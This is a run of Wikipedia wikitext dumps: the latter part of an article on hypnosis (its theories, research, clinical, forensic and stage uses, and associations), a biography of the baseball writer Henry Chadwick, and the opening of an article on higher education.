Ivan Pavlov believed that hypnosis was a &quot;partial sleep&quot;. He observed that the various degrees of hypnosis didn't significantly differ physiologically from the waking state and hypnosis depended on insignificant changes of environmental stimuli. Pavlov also suggested that lower brain stem mechanisms were involved in hypnotic conditioning.{{ref|pavlov}}

Although some modern researchers still subscribe to this theory, Kroger states &quot;during deep sleep, conditioned reflexes and physiological responses to a repeatedly given stimulus cannot be established, whereas in hypnosis the learning of conditioned reflexes is enhanced over and above that of the nonhypnotic state.&quot;

In hypnosis, the subject typically appears to be asleep because of eye closure that is typically part of the induction procedure, but there is quite a bit of literature on blood pressure, reflexes, physiochemical and EEG studies which indicates that hypnosis more closely resembles complete wakefulness.{{ref|Dittborn}}




=== Role-playing theory ===
&lt;!-- (Kroger, 1977, p. 29) --&gt;
This theory suggests that individuals are playing a role and allowing the hypnotist to create a reality for them. This relationship depends on how much rapport has been established between the hypnotist and the subject (see [[Hawthorne effect]], [[Pygmalion effect]], and the [[Placebo effect]]).

=== Hyper–suggestibility theory ===
&lt;!-- (Kroger, 1977, p. 31) --&gt;
Currently a more popular theory, it states the subject's attention is narrowed by certain techniques used by the hypnotist. As attention is narrowed, the hypnotist's words eventually take over the inner voice of the subject. From this theory comes the implication that only gullible or weak-minded people are suggestible. Some people, however, find the narrowing of attention to be desirable. [[Milton H. Erickson]] was said to have told his subjects, &quot;... and my voice will go with you,&quot; meaning that Erickson's voice would be a comforting presence in the face of adversity and trouble.

=== Informational theory ===
&lt;!-- (Kroger, 1977, p. 31 - THIS SOUNDS PSEUDO SCIENTIFIC) --&gt;
This theory applies the concept of the brain-as-computer model. In electronic systems, a system adjusts its feedback networks to increase the signal-to-noise ratio for optimum functioning, called a &quot;steady state&quot;. Increasing the receptability of a receptor enables messages to be more clearly received from a transmitter primarily by trying to reduce the interference (noise) as much as possible. Thus, the object of the hypnotist is to use techniques to reduce the interference and increase the receptability of specific messages (suggestions).

==Research on Hypnosis==
Much research has been conducted into the nature and effects of hypnosis and suggestion, and hypnosis continues to be a popular (if somewhat peripheral) tool in contemporary Psychological research. A number of different strands of hypnosis research are apparent: that which examines the 'state' of hypnosis itself, that which examines the effects and properties of suggestions in and out of hypnosis, and that which uses hypnotic suggestion as a tool to research other areas of psychological functioning.

With the advent of recent brain imaging techniques (MRI, although also EEG and PET) there has been a resurgence of interest in the relationship between hypnosis and brain function. Any human experience is reflected in some way in the brain - seeing colors or motion is underscored by activity in the visual cortex, feeling fear is mediated by activity in the amygdala - and so hypnosis and suggestion are expected to have observable effects upon brain function. An important issue for researchers conducting brain imaging is to separate the effects of hypnosis and suggestion - knowing that a suggestion given during hypnosis affects brain area X does not just tell us about hypnosis, it tells us about the effects of the suggestion too. To account for this, experiments need to include a non-hypnotic-response-to-suggestion condition - only this way can the specific effects of hypnosis be examined.

A number of brain-imaging studies have been conducted which have used hypnosis, a selection are given below:

For example, one controlled scientific experiment postulates that hypnosis may change conscious experience in a way not possible when people are not &quot;hypnotized&quot;, at least in &quot;highly hypnotizable&quot; people. In this experiment, color perception was changed by hypnosis in &quot;highly hypnotizable&quot; people as determined by [[positron emission tomography]] (PET) scans (Kosslyn et al., 2000). (This research does not compare the effects of hypnosis on less hypnotizable people and could therefore show little causal effect due to the lack of a control group.)

Another research example, employing event-related [[Functional magnetic resonance imaging|fMRI]] and [[Electroencephalography|EEG]] coherence measures, compared certain specific neural activity &quot;during [[Stroop effect|Stroop task]] performance between participants of low and high hypnotic susceptibility, at baseline and after hypnotic induction&quot;. According to its authors, &quot;the fMRI data revealed that conflict-related [[Anterior cingulate cortex|ACC]] activity interacted with hypnosis and hypnotic susceptibility, in that highly susceptible participants displayed increased conflict-related neural activity in the hypnosis condition compared to baseline, as well as with respect to subjects with low susceptibility.&quot; (Egner et al., 2005). Skeptics dispute the significance of such findings, claiming that such changes cannot be shown to be particular to the hypnotized state, and that any other action such as daydreaming is also likely to alter brain activity in some manner. The subject is still a matter of current research and scientific debate.

There is a long tradition (over a century) of hypnosis research (the majority of which does not use brain imaging techniques!) which has allowed scientists to test key ideas in the debate. Hypnosis has been shown to be an effective tool for pain relief, and when combined adjunctively with other therapeutic techniques it has been demonstrated to be a powerful tool (it is effective for weight loss, IBS, anxiety conditions and many more - the data for smoking cessation are more dubious).

==Hypnosis Methodologies and Effects==

===General methods===
The act of inducing a hypnotic state is referred to as an induction procedure. There is no current consensus on what the requirements are for an induction procedure to be effective; while some practitioners use simple calming verbal techniques, others use complex triggers, including mechanical devices (''see [http://hypnosistreatmentcenter.com/page45.html Michael Robinson's Self-Hypnosis Learning or Licensed Online Counseling, page 45)''.]

Many experienced hypnotists claim that they can hypnotize almost anyone. They also claim it is a myth that people with strong will power cannot be hypnotized, as they claim these generally make the best participants.  This is based on the idea that those who are most intelligent are also the most creative and as such they will make strong associations with the structure of language used by the hypnotist and by the visual or auditory representations inside of their mind. On the other hand, there is a common claim that no one can really be hypnotized against his or her will ([[Ambroise-Auguste Liébault|Liébault]], Le sommeil provoqué (Paris, 1889)). The counter-claim given by many hypnotists is that while you cannot make someone do anything against their will, you can change what it is that they wish to do.

Many religious and cultural rituals contain many similarities with techniques used for hypnotic induction and induce similar states in their participants.

===General effects===

====Focused attention====
This school of thought holds that hypnosis as a state is very similar to other states of extreme concentration, where a person becomes oblivious to his or her surroundings while lost in thought. Often suggested as an example is when a driver suddenly finds himself much further down the road without any memory of driving the intervening distance ([[highway hypnosis]]), or when a person is watching television and focuses so intently on the program that he or she ceases to be aware of the sides of the screen.

The act of hypnotizing, is, in effect, the act of manually inducing a similar state (''See, for example, general information on the [http://www.asch.net/genpubinfo.htm ASCH website]).

====Suggestibility====
{{main|Suggestibility}}
[[Psychologists]] have produced controversial studies that seem to show a strong correlation between the ease of putting someone in a state of hypnosis and their level of [[suggestibility]]. Some of these studies have produced the [[Harvard scale]], [[Stanford scale]], and [[eye-roll test]]; all of which are supposed to predict how easily a person can be put in a hypnotized state.

Hypnosis has further been described as &quot;The suspension of the critical factor&quot; which expands on the idea of &quot;increased suggestibility&quot;. A person who claims to be hypnotized may accept statements as true that he or she would normally reject. 

For example, when told &quot;you have forgotten your name,&quot; the subject in a normal state would react with disbelief, but under hypnosis people have claimed that they have, indeed, forgotten their own names. 

It often appears as if the hypnotized participant accepts the authority of the hypnotist over his or her own experience. When asked after the conclusion of such a session, some participants appear to be genuinely unable to recall the incident, while others say that they had known the hypnotist was wrong but at the time it had seemed easier just to go along with his instructions. ([[Richard Feynman]] describes this in his memoir ''[[Surely You're Joking, Mr. Feynman!]]'' as his own experience under hypnosis.) The mechanism of this effect is however disputed: Some hypnotists would claim that this showed the difference between a deep and a shallow hypnotic [[trance]], while skeptics would question the validity of this conclusion, citing that such effects can be duplicated in other circumstances where an agent holds authority, such as the [[Milgram experiment]], and suggest that unreliability in results discredits a scientific theory of hypnosis.

====Judgment====
Some believe that hypnosis can affect the subject's judgment and therefore could potentially cause them harm. In the hand of a &quot;professional&quot; seeking to promote the subject's welfare, those of this opinion believe, hypnosis can produce profound effects and be a complement to treatment. Some of those who believe in hypnosis believe that in most cases one can resist hypnosis if one is aware of it. However, some of those who hold this belief also believe in [[brainwashing]] and/or [[mind control]] and believe that when hypnotism takes place in the context of these, resisting hypnosis is far more difficult. These beliefs are not generally based on scientific evidence, as there is no scientific consensus on whether mind control even exists, let alone whether it is more difficult to resist hypnotism in the context of this unverified theoretical construct.

====Abreaction====
Some psychologists and other mental health professionals are concerned that practitioners of hypnosis might evoke intense emotions in their clients that they are untrained to handle.  These [[abreact|abreaction]]s might occur when spontaneously or purposefully recalling traumatic events or, some believe, spontaneous mental breakdowns.

==Hypnosis Applications==

===Hypnotherapy===
{{main|Hypnotherapy}}
[[Hypnotherapy]] is a term to describe the use of hypnosis in a therapeutic context. Many hypnotherapists refer to their practice as &quot;clinical work.&quot; Hypnotherapy can either be used as an addition to the work of licensed physicians or psychologists, or it can be used in a stand-alone environment where the hypnotherapist in question usually owns his or her own business. The majority of certified hypnotherapists (C.Hts in the US, Diploma. Hyp in the UK) today earn a large portion of their money through the cessation of smoking (often in a single session) and the aid of weight loss (body sculpting). Some of the so called 'incurable' diseases have shown to be treatable with the mind-body (such as cancer, diabetes, and arthritis). Some of the treatments practiced by hypnotherapists, in particular so-called [[regression]], have been viewed with skepticism. In many cases [[false memories]] can be invented due to a combination of [[suggestibility]] (hypnosis is effective in part because it lowers the critical facility), [[social expectation]], and intentional or unintentional collaboration from the way the hypnotist leads the exploration. Thus many feel that these [[memories]] cannot be held to be reliable recollections, with some denouncing the procedure as harmful to the patient, and without any basis in fact.

The [[American Medical Association]] and the [[American Psychological Association]] have both cautioned against the use of repressed memory therapy in dealing with cases of alleged childhood trauma, stating that &quot;it is impossible, without other corroborative evidence, to distinguish a true memory from a false one&quot;[http://www.apa.org/pubinfo/mem.html], and so the procedure is &quot;fraught with problems of potential misapplication&quot;[http://pegasus.cc.ucf.edu/~gallaghr/ama.html]. This is why Forensic Hypnosis is not widely used in many countries' legal systems.

===Clinical Hypnosis===
The [[American Society of Clinical Hypnosis]] is an organization that &quot;promotes greater acceptance of hypnosis as a clinical tool with broad applications&quot;. Hypnosis is applied to a great range of both physical and psychological ailments, rather than being restricted to purely psychological phenomena. The society was founded by [[Milton Erickson]], a doctor who attempted to put hypnosis on a firm therapeutic backing in the [[1950]]s. 

The late Milton H. Erickson's short-sightedness in wishing only board licensed healthcare professionals to have the right of therapeutic hypnotism practice has repeatedly caused difficulty for certified laymen in the field of hypnotism; eventually causing a redefinition of the type of hypnotism practiced by certified lay hypnotists. Such certified laymen, at least in practice of hypnotism in the United States, are now said to do &quot;non-therapeutic issue-resolution hypnotism&quot;, rather than hypnotherapy. [http://www.ngh.net/CodeEthicsStandards.pdf] (This paragraph entered by Jocelyn L. H. Jensen-Worthington, C.HT, 02/24/06)
 
Recently, efforts to reduce obesity with hypnosis (when used in combination with cognitive behavioral therapy, exercise, and a low-fat diet) have been effective in most cases[http://www.umm.edu/altmed/ConsConditions/Obesitycc.html].

===Self-hypnosis===
{{main|Autosuggestion}}
Self-hypnosis&amp;mdash; (or [[autosuggestion]]) hypnosis in which a person hypnotizes himself without the assistance of another person to serve as the hypnotist&amp;mdash;is a staple of hypnotherapy-related [[self-help]] programs. It is most often used to help the self-hypnotist stay on a [[Dieting|diet]], overcome [[cigarette|smoking]] or some other [[addiction]], or to generally boost the hypnotized person's [[self-esteem]]. It is rarely used for the more complex or [[controversy|controversial]] uses of hypnotism, which require the hypnotist to monitor the hypnotized person's reactions and responses and respond accordingly. Most people who practice self-hypnosis require a focus for their [[attention]] in order to become fully hypnotized; there are many [[computer program]]s on the market that can ostensibly help in this area, though few, if any, have been scientifically proven to aid self-hypnosis. 

Some people use devices known as mind machines to help them go into self-hypnosis more readily. A mind machine consists of glasses with different colored flashing LEDs on the inside, and headphones. The LEDs stimulate the visual channel while the headphones stimulate the audio channel with similar or slightly different frequencies designed to produce a certain mental state. A common occurrence is the use of binaural beats in the audio which is said to produce hypnosis more readily.

===Dental Application===

The use of hypnosis in dentistry has a long history. Dealing with hypnodontia -- the use of hypnosis in dentistry -- has attested to the increasing sophistication of hypnotic procedures to deal with the special problems of the dental patient. Besides smoothing out dental procedures by way of its generalized anti-anxiety effects, it can increase overall patient comfort, make the dental experience acceptable and bearable, decrease resistance to future intervention, and through posthypnotic suggestions, encourage more rapid recovery.

===Obstetric Application (Painless Childbirth)===

The practice of hypnotically assisted deliveries has a history of over a century. Falling into disfavor due to competition from chemical anesthesia, hypnosis has seen a revival in the last two decades. One important reason for this comeback is the realization that hypnosis may find usefulness not only in obstetric analgesia or anesthesia, but also in all phases of giving birth from pregnancy to postpartum recovery.

===Forensic Application===
Scientific knowledge of hypnosis applied to Legal problems is called forensic hypnosis. Courts prior to 1968 consistently excluded post-hypnotic testimony on the grounds that it was unreliable and apt to influence a jury unduly. Now hypnosis practice is growing stronger and still admissible in courtroom testimonies as long as the stringent criteria and guidelines are met. American Law Institute’s Model Penal Code specifies Crime done by hypnotic Suggestion &amp; Witness evidence in court after Hypnotic suggestion are not valued. In the U.S., [[Oregon]], [[Texas]], [[Indiana]],[[ Nevada]], and [[California]] states have separate hypnotic investigation acts. Nevada courts accept hypnotically refreshed statements as evidence for judgment. [[Russia]] generally uses hypnosis in criminal investigations.

=== Mass Application ===
Influencing the crowds of common longings and yearnings by a demagogue is called mass hypnosis. Generally mass hypnosis is applied to religious sessions. The pious mob will easily respond to, monotonously repeating suggestive words. Many forms of music and dance can be used to create religious trance.

===Stage Application===
In stage hypnosis, a hypnotist carefully chooses volunteers from the audience, puts them into a trance using hypnosis and then plants suggestions for them to perform. The critical factor in all stage hypnosis shows is the choice of enthusiastic and credulous individuals. Various techniques exist for discerning whether an individual is a likely candidate for a hypnosis stage act. Often, the sheer willingness of audience members to volunteer is a sign that they will &quot;go along with&quot; the hypnotist's suggestions during the show, whether or not they ever really become hypnotised in the first place. For example, the volunteers may be made to believe they are drunk, aliens speaking a strange alien language, naked or seeing others naked, 6-year-old children, ballet dancers etc. Such suggestions are designed to be temporary, lasting the duration of the show. Stage hypnosis is a unique performance in that it involves &quot;real&quot; people from the audience responding in a variety of ways, making no two shows the same. There has been debate over the years as to whether some degree of fraud or collusion may be involved in some stage hypnosis acts.

Regarding the phenomenon of stage hypnotism, Jon Connelly, Ph.D., a therapeutic hypnotist, writes:

''How does the stage hypnotist create the illusion of &quot;taking over&quot; his subject's minds? It appears they are helpless to refuse whatever he directs them to do under his power and control.''

''How is this accomplished? It begins with the hypnotist asking for volunteers from an audience already entranced enough with the idea of stage hypnosis that they chose to make attending the show their priority. Naturally, they all have expectations about what they will witness.''

''The audience is made up of three categories of attendees. The first is prepared, and actually hoping to come up on stage to be subjects despite knowing they will be doing silly things in front of everyone else. The second category is comprised of those who want to prove they can't be hypnotized. These folks are likely to volunteer but only to prove the hypnotist wrong. Finally, the third group is simply interested in watching the show.''

''The first thing the hypnotist does is to ask for volunteers. On the crowded stage, he &quot;tests&quot; their willingness to cooperate by directing them to do something and he observes their reactions. Anyone not cooperating is eliminated. Seeing others dismissed, enhances the willingness of the remaining volunteers to cooperate even more fully.''

''The task of finding the most cooperative and dramatic volunteers is accomplished as the hypnotist asks those on stage to do even stranger things and eliminates those whose performance isn't up to par. Soon a small number of volunteers remain. These people are willing to dramatically engage in almost anything the hypnotist suggests. The audience has enjoyed the screening process on another level, believing the hypnotist has caused the subjects to become more and more entranced with hypnosis.''

''The hypnotist tells the small group of remaining subjects to relax even more into the role of &quot;hypnotized person&quot; he created for them. There is little difference between a good hypnotic subject and a good actor. The context and the understanding each has of why they are doing what they are doing, is the main difference. They both voluntarily throw themselves into the role created for them since both are stage performers.''

''The stage hypnotist is like a casting director for a movie. The casting director selects people who can vividly imagine and act on what is written in the script as if it was real. These are the same qualities that would make someone a good hypnotic subject. Both the hypnotist and the film director create the scene and encourage the subject or actor into imagining their role to the extent that it can become real to them. They are often described as &quot;absorbed&quot; in the role. Actors know their job is to fool the audience into experiencing the role as real also. The hypnosis subject imagines her role so vividly, it is experienced as real. On some level, both the actor and the hypnotized subject know what is happening. Neither is being &quot;controlled.&quot;''

''In stage hypnosis, audience members confuse what is really cooperation with control over the subject's mind. But it is an illusion.''

===Indirect Application===
In addition to direct application of hypnosis (that is, treatment of conditions by means of hypnosis), there is also indirect application, wherein hypnosis is used to facilitate another procedure. Some people seem more able to display 'enhanced functioning', such as the suppression of pain, under hypnosis. 

One of the major initial applications of hypnotism was the suppression of pain during medical procedures; this was supplanted (in the late 19th century) by the development of more reliable chemical anesthetics.

Some studies suggest that while hypnosis may possess these qualities, they are not exclusive to hypnosis, that it is often the drama and fantasizing that produces the behavior.

===Objective Signs of the Hypnotic State: Breuer's Absent Pupillary Reflex Sign ===

For those who discount trance state completely. This may be an objective sign... and is opposite the normal physiological response! When the subject/patient/client is in 'deep' hypnosis (based upon most scales)she/he is asked to stay in hypnosis and open their eyes. The pupils are usually [[dilated]]. When a penlight is shone into the eyes the pupils will usually stay dilated or poorly reactive (the normal non-hypnotic response being contraction). Some clinicians use this as a benchmark for cases being readied for hypno-anesthesia. What is meant by very 'deep hypnosis' is debatable as is the terminology used for that state (somnamulistic, Esdaile, Ultradepth, etc.). This is a brief test and will not take away from therapy. 
(Dr. William Breuer popularized this test in University lectures to his students after conducting a research project that involved professionals in multiple sites from three countries.)  HISTORY: The early mention of this sign is in an 'archaic' and esoteric book, 'Hypnotism' by Carl Sextus, which stated that when people are asked to open their eyes while remaining in deep trance and then when a light is shone into their eyes, their pupils won't contract. Use any suggestions you wish to keep them in hypnosis, but at this point in trance do not use any suggestions relating to their eyes, visual focus, light or the pupils' dilation/contraction.

==Professional associations and governmental authorities==
Several types of organizations exist to further the professionalism and regulation of practicing hypnotists. For example, professional associations typically offer opportunities for collegial exchanges and professional development in general and/or specialized areas of hypnosis. They also may establish codes of conduct and standards for various certification programs. They may offer such certification programs directly or approve third-party programs. Organizations not affiliated with any professional association may offer their own certificates as well. 

Governmental authorities, such as state licensing agencies, may establish minimum requirements for credentials that must be earned before one may practice hypnosis within their jurisdiction. Such credentials typically are called certificates or licenses. Some noteworthy examples of professional associations and governmental authorities that offer certification, licensure or statutes that regulate hypnosis follow.

===Professional associations===
* [http://www.abmedhyp.org American Board of Medical Hypnosis]
* [http://www.hypnotistexaminers.org American Council of Hypnotist Examiners]
* [http://lankton.com/dahb/ American Hypnosis Board for Clinical Social Work]
* [http://www.apa.org/divisions/div30 American Psychological Association, Division 30 Psychological Hypnosis]: &quot;Brings together psychologists and other professionals interested in scientific and applied hypnosis.&quot;
* [http://apmha.com American Psychotherapy and Medical Hypnosis Association]
* [[American Society of Clinical Hypnosis]], founded by [[Milton Erickson]] in 1957:  &quot;Promotes greater acceptance of hypnosis as a clinical tool with broad applications.&quot;
* Australian Society of Hypnosis &quot;The society of medical and associated professionals&quot; http://www.ozhypnosis.com.au 
* [http://www.bathh.co.uk British Association of Therapeutical Hypnotists]
* [http://www.hypnosishalloffame.com/copho.htm Council of Professional Hypnosis Organizations] (International)
* [http://www.general-hypnotherapy-register.com General Hypnotherapy Register] Largest (UK) umbrella body
* [http://www.ghsc.co.uk General Hypnotherapy Standards Council] (UK) Overseeing the GHR.
* [http://www.natboard.com National Board for Certified Clinical Hypnotherapists] (USA)
* [http://www.ngh.net National Guild of Hypnotists] (USA)
* [http://www.hypnosiscanada.com Professional Board of Hypnotherapy] (Canada)
* [http://www.sceh.us Society of Clinical and Experimental Hypnosis] (USA)
* Institute of Clinical Hypnosis and Counseling. (India)http://www.hypnotradition.com

===Governmental authorities===
* [http://www.leginfo.ca.gov/statute.html California statute] (Enter Chapter &quot;820&quot;, Year &quot;2002&quot;)
* [http://www.leg.state.fl.us/Statutes/index.cfm?App_mode=Display_Statute&amp;URL=Ch0485/titl0485.htm Florida statute]
* [http://www.in.gov/pla/bandc/ihc/index.html Indiana Hypnotist Committee]

===Historical sites===
*[http://www.angelfire.com/pr/hypno The Hypnosis Museum of Historical Equipment &amp; Methodology]

==Popular culture==
The notion of hypnotism has elicited many presentations in popular culture. Intrinsically, the notion that people are susceptible to commands outside their conscious control can be an effective way of representing the notion of the fallible narrator.

===Fictional treatments===
The typical uses of hypnotism in fiction concentrate on one of the major abilities of hypnotism.  As mentioned in the introduction, hypnotism can be used to:
* Recollect knowledge
* Take command of a subject
* Implant suggestions that the subject will obey while free of the hypnotic trance.

The recollection of knowledge has inspired use in detective fiction, as a tool for witnesses to examine details (such as license plate numbers) that could not be recalled while fully conscious. This appears in many television series, such as [[Law &amp;amp; Order]] or [[Homicide: Life on the Street]]. In addition, it has been expanded to the notion of remembering &quot;past lives&quot;, that is, previous [[reincarnation|reincarnations]] of the subject, in such movies as &quot;DEAD AGAIN.&quot;

In real-life cases, recollection of knowledge via hypnosis has been used in many cases, but its effectiveness is disputed. Proponents claim that recovered memories have aided in the solving of many crimes, often corroborating with physical evidence which would have been impossible to obtain otherwise. Skeptics suggest that such successes are a function of simple chance, pointing to cases where its use on victims of rape or attempted murder to help them jog their memory in identifying an accused has caused sentences to be doled out to the wrong person. This is because the hypnotist might make suggestions that are more likely to be remembered as &quot;truth&quot;. Most experts recommend that the practice be used at most like a [[lie detector]], to glean more information, and never as the smoking gun.

The notion of implanting suggestions is probably the most thoroughly explored; ranging from comedies such as ''[[The Naked Gun]]'' trilogy to dramas such as [[The Manchurian Candidate]]. These films usually center around the concept of [[brainwashing]] or [[mind control]]. Several cases have been recorded where the defense argued the accused had committed the murder under hypnosis, though there is little real evidence that such control is possible.



==See also==
* [[Chicken hypnotism]]
* [[Highway hypnosis]]
* [[Hypnotherapy]]
* [[Hypnagogia]]
* [[Hypnofetishism]]
* [[Hypnosis (novel)]]
* [[Lucid dreaming]]
* [[Neuro-linguistic programming]]
* [[Sedative]] (also known as sedative-hypnotic drug)
* [[Post hypnotic suggestion]]
* [[Trout tickling]]

==References==
===Footnotes===
# {{note|APA}}&amp;mdash; Executive Committee of the American Psychological Association Division of Psychological Hypnosis [1993, Fall]. ''Psychological Hypnosis: A Bulletin of Division 30'', 2, p. 7; citation culled from [http://www.hypnosis-research.org/hypnosis/serious.html hypnosis-research.org].
# {{note|elman}}&amp;mdash; Dave Elman, ''Hypnotherapy'', Westwood Publishing Company, 1984 ISBN 0930298047 (page 26).
# {{note|Charcot}}&amp;mdash; Charcot, J. M.: ''Lectures on Diseases of the Nervous System''. London, New Sydenham Society, 1889.
# {{note|Pavlov}}&amp;mdash; Pavlov, I. P.: ''Experimental Psychology''. New York, Philosophical Library, 1957.
# {{note|Ditborn}}&amp;mdash; Dittborn, J.M., and O'Connell, D.N.: ''Behavioral sleep, physiological sleep and hypnotizability''. The International Journal of Clinical and Experimental Hypnosis, 15: 181, 1967)
# {{note|Weitzenhoffer}} Weitzenhoffer, A.M.: ''Hypnotism - An Objective Study in Suggestability''. New York, Wiley, 1953.
# {{note|Hilgard}} Hilgard, E.R., and Hilgard, J.R.: ''Hypnosis in the Relief of Pain''. Los Altos, CA, William Kaufman, 1975.
# {{note|barber}} Barber, T.X.: ''The concept of hypnosis''. The American Journal of Psychology, 45: 115, 1958.

===Books===
*Hypnosis for the Seriously Curious, by Kenneth Bowers. NY: W. W. Norton (1993).
*Hypnosis and Suggestion in the Treatment of Pain:  A Clinical Guide, by Joseph Barber. NY: Norton (1996).
* Mind control, Research by G. Wagstaff, Dept. of Psychology, University of Liverpool
* Hypnosis, Compliance and Belief by G. Wagstaff, (1981).
* The Highly Hypnotizable Person, Michael Heap, Richard J. Brown &amp;amp; David A. Oakley, (2004), Routledge
* Better and Better Every Day, [[Emile Coue]], (1960).
* Uncommon Therapy, [[Jay Haley]] (about the psychotherapeutic intervention techniques of [[Milton Erickson]])
* Molly Moon's Incredible Book of Hypnotism, [[Georgia Byng]]
* Open to suggestion. The uses and abuses of hypnosis. [[Robert Temple]], 1989, ISBN 1-85030-710-4
* Clinical and Experimental Hypnosis [[William S. Kroger, M.D.]], 1977, ISBN 0-397-50377-6
* Hypnosis With Friends and Lovers [[Freda Morris]], 1979, ISBN 0062506005
* EBooks: [http://www.pradeepaggarwal.com/cvisual.HTM The Power of Creative Visualization], [http://www.pradeepaggarwal.com/7weeks.html Personal Transformation in 7 Weeks] by [http://www.pradeepaggarwal.com Pradeep Aggarwal].

===External links===
* [http://www.sceh.us/ Society of Clinical and Experimental Hypnosis]
* [http://ijceh.educ.wsu.edu/ International Journal of Clinical and Experimental Hypnosis]
* [http://www.ovid.com/site/catalog/Journal/1669.jsp?top=2&amp;mid=3&amp;bottom=7&amp;subsection=12 Contemporary Hypnosis]
* [http://www.asch.net/ American Society of Clinical Hypnosis]
* [http://www.asch.net/ajch.htm American Journal of Clinical Hypnosis]
* [http://www.hypnosis.edu/articles/hypnosis-works.asp Hypnosis Works, an article from Discover magazine]
* [http://www.futurepundit.com/archives/002344.html Hypnosis Studied With fMRI and PET brain scans] (digest of several scientific articles)
* [http://skepdic.com/hypnosis.html Hypnosis, from the Skeptic's dictionary], [[Scientific skepticism|skeptical]] review of the veracity of hypnosis.
* [http://science.howstuffworks.com/hypnosis.htm Hypnosis, from Howstuffworks.com]
* [http://www.mindmedia.com/links/tranforming_your_consciousness.html Transforming Your Consciousness from the Mind Media Guide]

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      <text xml:space="preserve">[[Image:Henry_Chadwick_Baseball.jpg|right]]

'''Henry Chadwick''' ([[October 5]], [[1824]], [[Exeter, England]] &amp;ndash; [[April 20]], [[1908]], [[Brooklyn, New York|Brooklyn]], [[New York]]) was a [[sportswriter]], [[baseball statistics|baseball statistician]] and [[history|historian]].

Born in [[England]], and raised on [[cricket (sport)|cricket]], Chadwick was one of the prime movers in the rise of [[baseball]] to its unprecedented popularity at the turn of the 20th century.  A keen amateur [[statistics|statistician]] and professional writer, he helped sculpt the public perception of the game, as well as providing the basis for the records of team's and player's achievements in the form of baseball statistics.

{{MLB HoF}}
Chadwick edited ''The Beadle Baseball Player'', the first baseball guide on public sale, as well as the Spalding and Reach annual guides for a number of years and in this capacity promoted the game and influenced the then-infant discipline of [[sports journalism]].  He also served on baseball rules committees and influenced the game itself.

In [[1867]] he accompanied the [[National Base Ball Club]] of [[Washington D.C.]] on their inaugural national tour, as their official scorer, and in [[1874]] was instrumental in organising a similar tour of England, which included games of both baseball and cricket.  In his role as [[journalist]], he campaigned against the detrimental effects on the game of both [[alcoholic beverage|alcohol]] and [[gambling]].

He was instrumental in the first demonstration that rotation imparted while throwing could cause a ball to [[curveball|curve]], which took place at the [[Capitoline Grounds]] in Brooklyn.  At Chadwick's instigation two stakes were placed twenty feet apart in a line between the pitcher and batter's boxes.  A pitcher named [[Fred Goldsmith]] threw a ball to the right of the first stake, and to the left of the second.

Despite a friendship with [[Albert Spalding]], Chadwick was scornful of the attempts to have [[Abner Doubleday]] declared the inventor of the baseball.  &quot;He mains well&quot;, said Chadwick, &quot;but he don't know&quot;.

He is credited with devising the baseball [[box score]] (which he adapted from the cricket scorecard) for reporting game events, and for devising such [[baseball statistics|statistical measures]] as [[batting average]] and [[earned run average]].

The following description of a game was written by Henry Chadwick and appeared in his ''Base Ball Memoranda''.  It is typical of his style of sports journalism, and that of his time:

:''A Base Ball tourney had been held in Chicago on July 4, 1867, in which the Excelsiors of that city and the Forest City Club, of Rockford, had been the leading contestants.  The former had defeated the Forest City nine in two games, by the very close scores of 45-41 in one, and 28-25 in another, when the Forest Citys were invited to meet the Nationals at Chicago on July 25th, a day which proved the most notable of the tour.  The contest took place at Dexter Park, before a vast crowd of spectators, the majority of whom looked to see the Nationals have almost a walk-over.  In the game A. G. Spalding was pitcher and [[Ross Barnes]] shortstop for the Forest City nine; these two afterwards becoming famous as star players of the Boston professional team of the early seventies.  Williams was pitcher for the Nationals and Frank Norton catcher.  The Nationals took the lead in the first innings by 3 to 2; but in the next two innings they added but five runs to their score, while the Forest Citys added thirteen to theirs, thereby taking the lead by a score of fifteen to eight, to the great surprise of the crowd and the delight of the Rockfords.  The Nationals tried hard to recover the lost ground.  The final result, however, was the success of the Forest Citys by a score of 29 to 23 in a nine innings game, twice interrupted by rain.''

For his contributions to the game of Baseball, he was elected to the [[Baseball Hall of Fame]] by the Veterans Committee in [[Baseball Hall of Fame balloting, 1938|1938]].

Henry Chadwick died in 1908 and is interred in [[Green-Wood Cemetery]] in Brooklyn, New York. &quot;The Father of Base Ball&quot; is inscribed on his grave marker.

''See also'': [[Baseball statistics]]

==References== 
*Tygiel, Jules. ''Past Time''.

==External links==
*[http://www.baseballhalloffame.org/hofers_and_honorees/hofer_bios/Chadwick_Henry.htm Baseball Hall of Fame biography]
* {{gutenberg author| id=Henry+Chadwick | name=Henry Chadwick}}

[[Category:1824 births|Chadwick, Henry]]
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    <title>Higher education</title>
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      <text xml:space="preserve">[[Image:ClareCollegeAndKingsChapel.jpg|right|thumb|The University of Cambridge is an institute of higher learning.]]
'''Higher education''' is [[education]] provided by [[university|universities]] and other institutions that award [[academic degree]]s, such as [[community college]]s, and [[liberal arts college]]s.

Higher education includes both the teaching and the research activities of universities, and within the realm of teaching, it includes both the ''[[undergraduate]]'' level (sometimes referred to as [[tertiary education]]) and the ''[[graduate student|graduate]]'' (or ''postgraduate'') level (sometimes referred to as [[quaternary education]] or [[graduate school]]). Higher education differs from other forms of post-secondary education such as [[vocational education]].  However, most [[professional]] education is included within higher education, and many [[postgraduate]] qualifications are strongly vocationally or professionally oriented, for example in [[academic discipline|disciplines]] such as [[law]] and [[medicine]].

In most developed countries a high proportion of the population (up to 50%) now enter higher education at some time in their lives.  Higher education is therefore very important to national [[Economics|economies]], both as a significant industry in its own right, and as a source of trained and educated personnel for the rest of the economy; it is often argued that in a modern economy the quantity and quality of such [[human capital]] is the most important factor underlying [[economic growth]].

==Working in higher education==

Universities are fairly large employers. Depending on the funding, a university typically has a teacher per 3-20 students. According to the ideal of research-university, the university teaching staff is actively involved in the research of the institution. In addition, the university usually also has dedicated research staff and a considerable support staff. Typically to work in higher education as a member of the academic [[Faculty (university)|faculty]], one must first obtain a doctorate in an academic field, although some lower teaching positions require only master's degree. Member of the staff or [[academic administration|administration]] usually have education that is necessary for the fulfilment of their duties. Depending on the university, the main administration is more or less centralized. Typically most of the administrative staff works in different administrative sections, such as [[Student Affairs]]. In addition, there may be central support units, such as a university [[library]] which have a dedicated staff.  

The professional field involving the collection, analysis, and reporting of higher education data is called [[institutional research]]. Professionals in this field can be found, in addition to universities, in e.g. state educational departments.

